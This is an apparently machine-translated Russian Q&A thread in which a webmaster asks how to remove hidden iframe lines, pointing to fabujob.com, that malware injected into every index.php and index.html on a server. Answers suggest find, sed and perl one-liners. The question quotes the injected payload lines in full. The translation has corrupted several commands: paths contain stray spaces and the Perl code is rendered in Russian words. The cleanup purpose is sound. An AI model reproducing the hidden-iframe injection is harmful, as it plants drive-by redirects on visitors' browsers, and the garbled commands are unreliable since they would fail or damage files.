Найдите index.php и index.html и замените строку
Недавно на моем компьютере было какое-то вредоносное ПО, которое добавлялось ко всем файлам index.php и index.html на веб-сервере! следующая строка (и):
echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
Поэтому параметр после "click=" всегда изменяется. Эти два были только примерами.
Есть ли способ сделать это быстро и быстро?
,
,
РЕДАКТИРОВАТЬ: Это на моем веб-сервере, так что нет смысла находить...
5 ответов
Один из простых способов сделать это - использовать find и grep, а также perl для редактирования.
Во-первых, создайте список имен файлов, которые были скомпрометированы:
find / path / to / web / site -name 'index.htm *' -o -name 'index.php' -print0 | \ xargs -0 grep -l 'iframe src. * fabujob \.com'> /tmp/compromised-files.txt
Далее, используйте Perl для редактирования файлов и удаления эксплойта:
cat /tmp/compromised-files.txt | \ xargs -d '\ n' perl -n -i.BAK -e 'напечатать, если не указано m / fabujob \.com / i'
(да, для педантиков UUOC это бесполезное использование кошки, но это облегчает чтение и понимание примера)
это удалит каждую строку, содержащую строку "fabujob.com" из каждого скомпрометированного файла. Он также будет сохранять резервную копию каждого файла как filename.BAK, чтобы вы могли легко восстановить их, если что-то пойдет не так. Вы должны удалить их, когда они вам больше не нужны.
Этот сценарий Perl основан на приведенном вами примере, который, по-видимому, указывает на то, что атака добавила целую строку, содержащую эксплойт, поэтому этот скрипт печатает каждую строку, КРОМЕ тех, которые связываются с URL эксплойта. если это не совсем так, то вам придется придумать более подходящий сценарий:)
это общая методика, которую вы можете использовать для внесения любых автоматических изменений в пакет файлов. Вы можете использовать любой код Perl для выполнения этой работы, и Perl обладает огромным набором возможностей манипулирования текстом.
Кстати, при выполнении такой работы ВСЕГДА делайте копию всего дерева каталогов и работайте над этим в первую очередь. таким образом, не имеет значения, если вы испортите скрипт редактирования Perl... просто восстановите исходный файл поверх рабочего каталога. как только вы получите скрипт правильно, вы можете запустить его на реальных файлах.
Пытаться regexxer
или же rpl
Тип инструментов. Вся их цель - замена всего проекта. Они поддерживают рекурсивные каталоги и позволяют выбирать типы файлов, к которым следует применить замену.
Предполагая, что домен всегда один и тот же и нигде не должен законно существовать:
find <documentroot> -name 'index.html' -or -name 'index.php' \
-exec sed -i'.bak' '/fabujob\.com/d' {} \;
Оригиналы будут сохранены с расширением.bak
". Вы можете просто использовать -i
если вы не хотите резервных копий.
sed и find должны помочь вам, но sed потребуется некоторое время, чтобы научиться (достаточно, чтобы я не мог придумать возможную команду из моей головы прямо сейчас).
Кроме того, существуют графические редакторы, которые способны находить и заменять все дерево каталогов (например, Textmate на Mac). Затем вы бы использовали регулярное выражение для покрытия переменной части.
Если вы знаете, что в ваших документах нет тегов
perl -i -n -e'print unless /<iframe>/' $(find . -name index.html)
Если у вас есть фреймы iframe, вам нужно будет сделать свое регулярное выражение более точным.
Флаг Perl -i слишком часто игнорируется. Это означает "редактировать на месте". См. http://petdance.com/perl/command-line-options.pdf чтобы узнать больше примеров магии, которая будет выполняться в Perl из командной строки.